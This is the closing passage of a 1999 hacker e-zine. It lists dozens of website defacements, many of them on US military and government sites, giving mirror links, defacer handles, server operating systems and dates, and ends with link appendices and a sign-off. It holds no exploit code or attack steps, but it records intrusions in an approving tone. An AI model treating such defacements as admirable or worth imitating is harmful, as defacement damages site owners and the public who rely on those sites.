      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/peoavn.redstone.army.mil 
      Defaced by: phreak.nl 
      Operating System: NT
      Date 10/26/99      

      Defaced domain: www.anti-hacker.org 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.anti-hacker.org 
      Defaced by: PsychoKid 
      Operating System: Windows NT 

      
      Defaced domain: www.nuggz.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.nuggz.com 
      Defaced by: Thought Criminal 
      Operating System: Linux
      Date 10/26/99
      
      Defaced domain: www.denhaag.nl 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.denhaag.nl 
      Defaced by: The Millenniumbugz 
      Operating System: Windows NT
      Date 10/26/99
      
      Defaced domain: newnet.jdola.lanl.gov 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/newnet.jdola.lanl.gov 
      Defaced by: s0ften 
      Operating System: Windows NT
      Date 10/26/99
      
      Defaced domain: www.protesis.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.protesis.com 
      Defaced by: Nemesystm 
      Operating System: Windows NT
      Date 10/26/99      
      
      Defaced domain: www.ncsc.navy.mil 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.ncsc.navy.mil 
      Defaced by: flipz 
      Operating System: Windows NT
      Date 10/26/99      
      
      Defaced domain: www.pr.doe.gov 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.pr.doe.gov 
      Defaced by: flipz 
      Operating System: Windows NT
      Date 10/27/99      
      
      Defaced domain: www.hanford.gov 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.hanford.gov 
      Defaced by: flipz 
      Operating System: Windows NT
      Date 10/27/99
            
      Defaced domain: www.georgemag.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.georgemag.com 
      Defaced by: ULG 
      Operating System: Windows NT
      Date 10/27/99
      
      Defaced domain: www.protesis.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.protesis.com 
      Defaced by: Contr0l C 
      Operating System: Windows NT
      Date 10/27/99
      
      Defaced domain: www.firephotos.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.firephotos.com 
      Defaced by: JxLxMx 
      Operating System: Windows NT (IIS/4.0)
      Date 10/27/99
      
      Defaced domain: www.andersen.af.mil 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.andersen.af.mil 
      Defaced by: flipz 
      Operating System: Windows NT (IIS/4.0)
      Date 10/27/99      
      
      Defaced domain: www.iww.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.iww.com 
      Operating System: Windows NT (WebSitePro/2.3.7)
      Date 10/27/99
      
      Defaced domain: www.expresssupplies.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.expresssupplies.com 
      Defaced by: sortof 
      Operating System: Windows NT (WebSitePro/2.3.7)
      Date 10/27/99      
      
      Defaced domain: www.madboss.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.madboss.com 
      Defaced by: sortof 
      Operating System: Windows NT (WebSitePro/2.3.7)
      Daate 10/27/99
      
      Defaced domain: agent.cccp-duma.kgb.gov.ussr.com.ru 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/agent.cccp-duma.kgb.gov.ussr.com.ru 
      Operating System: Solaris (Apache/1.3.3)
      Date 10/27/99
      
      Defaced domain: www.hao.org 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/27/www.hao.org 
      Defaced by: JxLxMxbr 
      Operating System: BSDI
      Date 10/27/99 

      
      Defaced domain: www.top100.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/27/www.top100.com 
      Defaced by: mesmes 
      Operating System: Windows NT (IIS/4
      Date 10/27/99
      
      Defaced domain: www.labinco.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/27/www.labinco.com 
      Defaced by: DHC 
      Operating System: NT
      Date 10/27/99 
      
      Defaced domain: scotty.navsses.navy.mil 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/27/scotty.navsses.navy.mil 
      Defaced by: fuqbag 
      Operating System: NT
      Date 10/27/99
      
      Defaced domain: eagle.chtwl.spear.navy.mil 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/27/eagle.chtwl.spear.navy.mil 
      Defaced by: fuqrag 
      Operating System: NT
      Date 10/27/99
      
      Defaced domain: www.csp.navy.mil 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/27/www.csp.navy.mil 
      Defaced by: fuqrag 
      Operating System: NT
      Date 10/27/99
      
      Defaced domain: www.fmcs.gov 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/27/www.fmcs.gov 
      Defaced by: fuqbag 
      Operating System: NT
      Date 10/27/99
      
      Defaced domain: www.amsc.belvoir.army.mil 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/27/www.amsc.belvoir.army.mil 
      Defaced by: Pakistan Hackerz Club 
      Operating System: NT
      Date 10/27/99
      
      Defaced domain: www.buytwinhead.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/27/www.buytwinhead.com 
      Defaced by: UBT 
      Operating System: BSD/OS (Apache/1.2.6 FrontPage/3.0.4)
      Date 10/27/99
      
      Defaced domain: www.hio.ft.hanze.nl 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/27/www.hio.ft.hanze.nl 
      Defaced by: Scrippie 
      Operating System: Windows NT (IIS/4.0)
      Date 10/27/99
      
      Defaced domain: www.dinfos.osd.mil 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/27/www.dinfos.osd.mil 
      Defaced by: fuqrag 
      Operating System: Windows NT (IIS/4.0)
      Date 10/27/99
      
      Defaced domain: www.usitc.gov 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/27/www.usitc.gov 
      Defaced by: fuqrag 
      Operating System: NT
      Date 10/27/99
      
      Defaced domain: www.nsg.navy.mil 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/27/www.nsg.navy.mil 
      Defaced by: fuqrag 
      Operating System: NT
      Date 10/28/99
      
      Defaced domain: www.supertec.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.supertec.com 
      Defaced by: h1gh 
      Operating System: NT
      Date 10/28/99     
      
      Defaced domain: www.schoolgirlporn.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.schoolgirlporn.com 
      Defaced by: hacking 4 p0nies 
      Operating System: Solaris
      Date 10/28/99
      
      Defaced domain: www.dairyqueen.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.dairyqueen.com 
      Defaced by: fuqrag 
      Operating System: NT
      Date 10/28/99      
      
      Defaced domain: www.whitehouseconstruction.co.uk 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.whitehouseconstruction.co.uk 
      Defaced by: vendetta 
      Operating System: Solaris
      Date 10/28/99     
      
      Defaced domain: www.mcbh.usmc.mil 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/27/www.mcbh.usmc.mil 
      Defaced by: fuqrag 
      Operating System: NT
      Date 10/28/99      
      
      Defaced domain: www.peritech.co.uk 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.peritech.co.uk 
      Defaced by: vendetta 
      Operating System: Solaris
      Date 10/28/99      
      
      Defaced domain: brongs.co.kr 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/brongs.co.kr 
      Defaced by: The New World Order 
      Operating System: Linux
      Date 10/28/99
      
      Defaced domain: fourier.snu.ac.kr 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/fourier.snu.ac.kr 
      Defaced by: The New World Order 
      Operating System: Linux
      Date 10/29/99      
      
      Defaced domain: hotnet.gq.nu 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/hotnet.gq.nu 
      Defaced by: The New World Order 
      Operating System: Linux
      Date 10/28/99
      
      Defaced domain: www.science.sp-agency.ca 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.science.sp-agency.ca 
      Defaced by: F.A.D.F.U.C.K. 
      Operating System: NT
      Date 10/28/99      
      
      Defaced domain: www.themilitarycoalition.org 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.themilitarycoalition.org 
      Defaced by: Pakistan Hackerz Club 
      Operating System: NT
      Date 10/28/99
      
      Defaced domain: www.mcu.usmc.mil (Marine Corps University) 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.mcu.usmc.mil
      Defaced by: Pakistan Hackerz Club 
      Operating System: NT
      Date 10/28/99
      
      Defaced domain: www.zoo.co.uk 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.zoo.co.uk
      Defaced by: vendetta
      Date 10/28/99                  
      
      Defaced domain: dominia.elmnet.net 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/dominia.elmnet.net 
      Defaced by: dewm 
      Operating System: Linux
      Date 10/28/99            
      
      Defaced domain: www.chesterfield.nl 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.chesterfield.nl 
      Defaced by: Zelda and Mario 
      Operating System: NT
      Date 10/28/99      
      
      Defaced domain: www.marcostuds.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.marcostuds.com 
      Defaced by: p4riah 
      Operating System: NT 
      Date 10/28/99
      
      
      Defaced domain: police1.ucr.edu 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/police1.ucr.edu 
      Defaced by: thecraft 
      Operating System: NT
      Date 10/29/99
      
      Defaced domain: www.nctsfe.navy.mil 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.nctsfe.navy.mil 
      Defaced by: flipz 
      Operating System: NT
      
      Defaced domain: www.subasesd.navy.mil 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.subasesd.navy.mil 
      Defaced by: flipz 
      Operating System: NT
      Date 10/29/99       
      
      Defaced domain: www.mms.gov 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.mms.gov 
      Defaced by: fuqraq 
      Operating System: NT 
      Date 10/29/99
      
      Defaced domain: www.weather.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.weather.com 
      Defaced by: hi-tech hate 
      Operating System: Solaris      
      Date 10/29/99          
      
      
      Defaced domain: www.covlink.co.uk 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/28/www.covlink.co.uk 
      Defaced by: narcissus
      Operating System: NT      
      Date 10/29/99
      
      Defaced domain: apps.opm.gov 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/29/apps.opm.gov 
      Defaced by: fuqrag 
      Operating System: NT
      Date 10/29/99
      
      Defaced domain: www.ammar.com.pk 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/29/www.ammar.com.pk 
      Defaced by: h1gh
      Operating System: FreeBSD
      Date 10/29/99
      
      Defaced domain: www.firephotos.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/29/www.firephotos.com 
      Operating System: NT
      Date 10/29/99
      
      Defaced domain: secure01.clubi.net 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/29/secure01.clubi.net 
      Defaced by: Blade 
      Operating System: NT
      Date 10/29/99
      
      Defaced domain: www.adbholdings.com.au 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/29/www.adbholdings.com.au 
      Defaced by: The Dutch God
      Date 10/29/99
      
      Defaced domain: www.hao.org 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/29/www.hao.org 
      Operating System: BSDI
      Date 10/29/99
      
      Defaced: http://www.ncsc.navy.mil
      Date: 10/26/99
      
      One line hack:
      
      "flipz was here. And nO i am not gay. losers. Well I am sure I am going to
       get raided now and if i dont the NSA and the DOD are not doing there jobs.
        hehe. paged edited by: flipz "
      
      
      Defaced: http://www.usarc.army.mil (US Army Reserve Command)
      Date: 10/20/99
      
      Defaced: http://www.wsmr.army.mil (White Sands Missle Range)
      Date: 10/23/99
      
      Defaced: http://msrconf.microsoft.com/CMT/ (Microsoft's Conference
      Management Server)
      Date: 10/24/99
      
      Defaced: http://www.dencom.army.mil (US Army Dental Care System)
      Date: 10/24/99
      
      Defaced: http://www.massolant.navy.mil (Navy Management System Support Office)
      Date: 10/24/99
      
      Defaced: http://www.va.gov (Department of Vetrans Affairs)
      Date: 10/25/99
      
      Defaced domain: www.travelbybenny.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/25/www.travelbybenny.com/
      Date: 10/25/99
      
      Defaced domain: posilogic.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/25/posilogic.com/
      Date: 10/25/99
      
      Defaced domain: www.unrealwebs.com
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/25/www.unrealwebs.com/
      Date: 10/25/99
      
      Defaced domain: www.muddle.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/25/www.muddle.com/
      Date: 10/25/99
      
      Defaced domain: www.mulberrytech.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/25/www.mulberrytech.com/
      Date: 10/25/99
      
           
      Defaced domain: www.muddle.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/25/www.muddle.com/
      Date: 10/25/99
      
      Defaced domain: www.almo.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/25/www.almo.com/
      Date: 10/25/99
      
      Defaced domain: www.shields-gazette.co.uk 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/25/www.shields-gazette.co.uk/ 
      Defaced by: KES 
      Operating System: Solaris
      Date: 10/25/99
      
      Defaced domain: www.acm-ul.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/25/www.acm-ul.com/ 
      Defaced by: p4riah 
      Operating System: Windows_NT
      Date: 10/25/99
      
      Defaced domain: www.lrce.org 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/25/www.lrce.org/ 
      Defaced by: p4riah 
      Operating System: Windows_NT
      Date: 10/25/99
      
      Defaced domain: www.webdesign.f2s.com 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/25/www.webdesign.f2s.com/ 
      Defaced by: RedAttack 
      Operating System: Linux
      Date: 10/25/99
      
      Defaced domain: www.samhsa.gov 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/25/www.samhsa.gov 
      Defaced by: flipz
      Operating System: Windows NT 
      Date: 10/25/99
      
      Defaced domain: www.adfinder.co.uk 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.adfinder.co.uk 
      Defaced by: Narcissus 
      Operating System: Windows NT (WebSitePro/2.0.37)
      Date: 10/25/99
      
      Defaced domain: www.ndu.edu 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/www.ndu.edu 
      Defaced by: phreak.nl 
      Operating System: NT
      Date: 10/25/99
      
      Defaced domain: acquisition.jpl.nasa.gov 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/acquisition.jpl.nasa.gov 
      Defaced by: phreak.nl 
      Operating System: NT
      Date: 10/25/99
      
      Defaced domain: peoavn.redstone.army.mil 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/26/peoavn.redstone.army.mil 
      Defaced by: phreak.nl 
      Operating System: NT


           
      and more sites at the attrition cracked web sites mirror:
                   
                    http://www.attrition.org/mirror/attrition/index.html 

       -------------------------------------------------------------------------
       
  A.0                              APPENDICES
       _________________________________________________________________________



  A.1 PHACVW, sekurity, security, cyberwar links
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

       The links are no longer maintained in this file, there is now a
      links section on the http://welcome.to/HWA.hax0r.news/ url so check
      there for current links etc.

      The hack FAQ (The #hack/alt.2600 faq)
      http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
      
      Hacker's Jargon File (The quote file)
      http://www.lysator.liu.se/hackdict/split2/main_index.html
      
      New Hacker's Jargon File.
      http://www.tuxedo.org/~esr/jargon/ 
      
      
      
      HWA.hax0r.news Mirror Sites around the world:
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/ ** NEW **
      http://net-security.org/hwahaxornews ** NEW **
      http://www.sysbreakers.com/hwa ** NEW **
      http://www.attrition.org/hosted/hwa/
      http://www.attrition.org/~modify/texts/zines/HWA/
      http://www.hackunlimited.com/files/secu/papers/hwa/ ** NEW **
      http://www.ducktank.net/hwa/issues.html. ** NEW **
      http://www.alldas.de/hwaidx1.htm ** NEW **
      http://www.csoft.net/~hwa/ 
      http://www.digitalgeeks.com/hwa.*DOWN*
      http://members.tripod.com/~hwa_2k
      http://welcome.to/HWA.hax0r.news/
      http://www.attrition.org/~modify/texts/zines/HWA/
      http://archives.projectgamma.com/zines/hwa/.  
      http://www.403-security.org/Htmls/hwa.hax0r.news.htm
      http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/
      http://hwa.hax0r.news.8m.com/           
      http://www.fortunecity.com/skyscraper/feature/103/  
      

      International links:(TBC)
      ~~~~~~~~~~~~~~~~~~~~~~~~~

      Foreign correspondants and others please send in news site links that
      have security news from foreign countries for inclusion in this list
      thanks... - Ed

      
          
      Belgium.......: http://bewoner.dma.be/cum/              
      
      Brasil........: http://www.psynet.net/ka0z              
            
    s                  http://www.elementais.cjb.net           
            
      Canada .......: http://www.hackcanada.com
      Croatia.......: http://security.monitor.hr
      
      Columbia......: http://www.cascabel.8m.com              
      
                      http://www.intrusos.cjb.net                                   
                      
      Finland ........http://hackunlimited.com/                
                      
      Germany ........http://www.alldas.de/
                      http://www.security-news.com/
      
      Indonesia.....: http://www.k-elektronik.org/index2.html 
      
                      http://members.xoom.com/neblonica/      
      
                      http://hackerlink.or.id/                
      
      Netherlands...: http://security.pine.nl/                
      
      Russia........: http://www.tsu.ru/~eugene/              
      
      Singapore.....: http://www.icepoint.com                 
      
      South Africa ...http://www.hackers.co.za       
                      http://www.hack.co.za            
                      http://www.posthuman.za.net 
 
                      
      Turkey........: http://www.trscene.org - Turkish Scene is Turkey's first
                                               and best security related e-zine.
      
                      
                       
                      
                      
                      
    .za (South Africa) sites contributed by wyzwun tnx guy...                  
      
      


    Got a link for this section? email it to hwa@press.usmc.net and i'll
    review it and post it here if it merits it.
   
    
                            ___ _   _       _
                           |_ _| | | | __ _| |_ ___
                            | || |_| |/ _` | __/ _ \
                            | ||  _  | (_| | ||  __/
                         __|___|_| |_|\__,_|\__\___| _
                        / ___|| |_ _   _ _ __ (_) __| |
                        \___ \| __| | | | '_ \| |/ _` |
                         ___) | |_| |_| | |_) | | (_| |
                        |____/ \__|\__,_| .__/|_|\__,_|
                        |  _ \ ___  ___ |_|__ | | ___
                        | |_) / _ \/ _ \| '_ \| |/ _ \
                        |  __/  __/ (_) | |_) | |  __/
                        |_|   \___|\___/| .__/|_|\___|
                                        |_|


    @HWA
    

  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
    --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--

    © 1998, 1999 (c) Cruciphux/HWA.hax0r.news <tm> (R) { w00t }
    
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-                       
     --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
   [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
       [45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]    


